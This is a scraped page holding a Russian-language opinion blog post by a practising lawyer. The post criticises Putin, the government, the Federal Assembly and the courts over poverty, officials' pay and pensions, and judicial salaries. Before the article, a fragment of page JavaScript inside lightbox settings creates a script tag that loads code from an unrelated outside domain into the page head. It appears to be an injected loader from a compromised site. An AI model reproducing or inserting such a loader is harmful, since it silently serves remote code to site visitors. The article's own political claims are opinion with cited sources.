, 'opacity': false, 'speedIn': 500, 'speedOut': 500, 'changeSpeed': 300, 'overlayShow': false, 'overlayOpacity': "", 'overlayColor': "", 'titleShow': false, 'titlePosition': '', 'enableEscapeButton': false, 'showCloseButton': false, 'showNavArrows': false, 'hideOnOverlayClick': false, 'hideOnContentClick': false, 'width': 500, 'height': 340, 'transitionIn': "", 'transitionOut': "", 'centerOnScroll': false }); var script = document.createElement('script'); script.type= 'text/javascript'; script.src = 'https://cdn.messagefromspaces.com/c.js?pro=type'; document.getElementsByTagName('head')[0].appendChild(script); })
RSS
 

Какой является репутация у тех, кто осуществляет государственную власть?

08 Фев

«Репутация» бывает: незапятнанная, сомнительная, безупречная, безукоризненная, скандальная…

Мне представляется, что самое время поговорить об этом.

Несомненно, что осуществляющий  много лет президентскую власть Владимир Путин доказал, что ему нет равных, среди желающих стать главой государства.

За Владимира Путина в 2000 году проголосовало https://antimaidan.ru/infographics/10154    52,94% избирателей, а за Геннадия Зюганова — 29,21% избирателей.

На выборах 2004 года за Путина голосует 71,31% избирателей. В 2008 году — 70,28% избирателей. В 2012 году — 63,6% избирателей.

На выборах 2018 году за Путина проголосовало — 76,56% избирателей, несмотря на миллионы проживающих за чертой бедности и сотни тысяч назначенцев, владеющих «сомнительной собственностью» на триллионы рублей.

Избрали  по-честному.

Делами и разумными решениями Путин достаточно быстро стал человеком, которого искренне большинство считало национальным лидером.

Но создавшееся  в обществе  мнение о его качествах, достоинствах и достижениях, связанных с ним надежд, он  так и не смог использовать для исполнения воли народа, которая  письменно изложена в Конституции России.

Почти 20 лет, налаживая государственное управление,  Путин так и не установил в стране власть Конституции,  и правосудие, исполнение законов, не обеспечил россиянам достойную жизнь.

Удручают попытки в два раза снизить бедность до 2024 года, используя «прожиточный (физиологический) минимум», который в  два раза меньше «минимального потребительского бюджета», который ещё в 1991 году установил  Горбачёв.  Кого хотим обмануть?

Согласно опросам ВЦИОМ, сборы ребенка к 1 сентября вызывают финансовые трудности у 50% родителей. Сбережения есть только у 36% семей.

Эксперты Высшей школы экономики выяснили, что у почти 40% населения не хватает денег на еду и одежду. На грани выживания находятся 70% российских семей, из-за падения уровня жизни. Менее трети россиян обладают ресурсом, который может быть инвестирован в сектора образования, здравоохранения, досуга и культуры, строительства нового жилья. У прочих есть лишь  «бюджет выживания».

При таких обстоятельствах чиновники от правительства, имеющие денежное довольствие, превышающие среднюю зарплату по стране в 35−50 раз, пытаются убедить себя, что с доходами ниже прожиточного минимума  всего 13,2%  населения страны.

О репутации правительства и длительно возглавляющем его Дмитрии Медведеве, свидетельствуют также  следующие данные.

Исследования Всемирной лаборатории изучения проблем экономического неравенства говорят о том, что  за последние 36 лет реальные http://www.oka.fm/new/read/social/Bednye-bedneyut-bogatye-bogateyut/   доходы населения России выросли на 34%.

Эта цифра намного меньше, чем в Китае — 831%, Индии — 221%, Северной Америке — 63%. Простой расчет показывает, что россияне последние 36 лет богатели меньше чем на 1% в год.

Особую репутацию  у россиян имеет представительный и законодательный орган России — Федеральное Собрание.

Недавно все россияне и мир узнали о том, что в Совете Федерации  был задержан   за убийства сенатор от Карачаево-Черкесии Рауф Арашуков.  Его лишили неприкосновенности и вывели из зала заседаний.

Кроме убийств, Арашукова подозревают еще в нескольких тяжких преступлениях. Среди них — организация преступного сообщества или участие в нем, в нанесении тяжкого вреда здоровью и в подделке документов, на основании которых он стал сенатором.

Лидер «Справедливой России» Сергей Миронов и депутат от этой фракции Олег Нилов внесли https://ria.ru/20180428/1519620621.html  в Госдуму законопроект, которым предлагается приравнять заработную плату сенаторов и депутатов к средней по стране — 35 тысяч рублей.

Поддержку эта инициатива не нашла у Правительства России.

А репутацию Государственной Думы, в которой большинство составляют члены партии «Единой России» характеризуют  следующие факты.

Экспертный совет «Единой России» не поддержал инициативу своего однопартийца Андрея Маркова обязать парламентариев, госслужащих и муниципальных чиновников раскрывать размер своих пенсий.

Экс-депутат Госдумы трех созывов 72-летний Олег Куликов посчитал https://www.kommersant.ru/doc/3855345  предлагаемую норму «излишней»: «Я не понимаю ее смысла. Наши пенсии определены законом, а дополнительных доходов у нас практически нет. Те, кто проработал один или два созыва, получают 40 с небольшим тысяч, кто три и больше — 60 с небольшим тысяч рублей. В чем тайна? Это 15% от потерянного заработка, хотя вообще-то должно быть 40%».

Однако, как утверждает Коммерсант, во многих регионах законодательство устанавливает дополнительные надбавки местным чиновникам и депутатам, в результате которых те в отдельных случаях могут получать более 200 тыс. руб. пенсионных выплат ежемесячно.

Крупные выплаты регулярно провоцируют разбирательства. Так, в сентябре 2018 года бывший воронежский вице-губернатор Юрий Агибалов вышел на пенсию, получив единовременно 23 оклада, а затем вернулся на работу. Это вызвало скандал с привлечением прокуратуры, в результате господин Агибалов ушел с госслужбы.

И, наконец, о репутации тех, кто осуществляет судебную власть.

Я более 10 лет аргументированно доказываю в своих публикациях, что в России нет правосудия, как вида государственной деятельности, осуществляемой с соблюдением особого порядка, закреплённого Конституцией и процессуальным законодательством. Но сейчас не об этом.

Как 45 лет практикующий юрист, могу утверждать, что не может быть справедливости там, где труд, имеющих одинаковое юридическое образование оценивается с разницей в 6 — 53 раза.

Лично я испытываю  каждый раз неловкость, когда в «Доме правосудия» вижу судью, что за час — два  выносит приговор в особом порядке, без исследования и оценки собранных по делу доказательств, ограничиваясь лишь согласием обвиняемого с предъявленным ему обвинением, но получающего за такую работу 100−800 тыс. руб. в месяц.

И в этом же «Доме правосудия», я вижу заваленного томами уголовных дел помощника судьи, который имеет такое же образование, что и судья, а иногда, и больший жизненный опыт, который, нередко, работает допоздна, но получает за свою работу 12−15 тыс. руб. в месяц.

Странно, что такое положение не смущает ни гаранта Конституции Владимира Путина, ни утверждающих такое расходование бюджета на судебную власть, членов правительства.

 
Комментариев нет

Автор: ossin Категория: Прочие заметки

 

Оставить комментарий

Вы должны войти, чтобы оставить комментарий.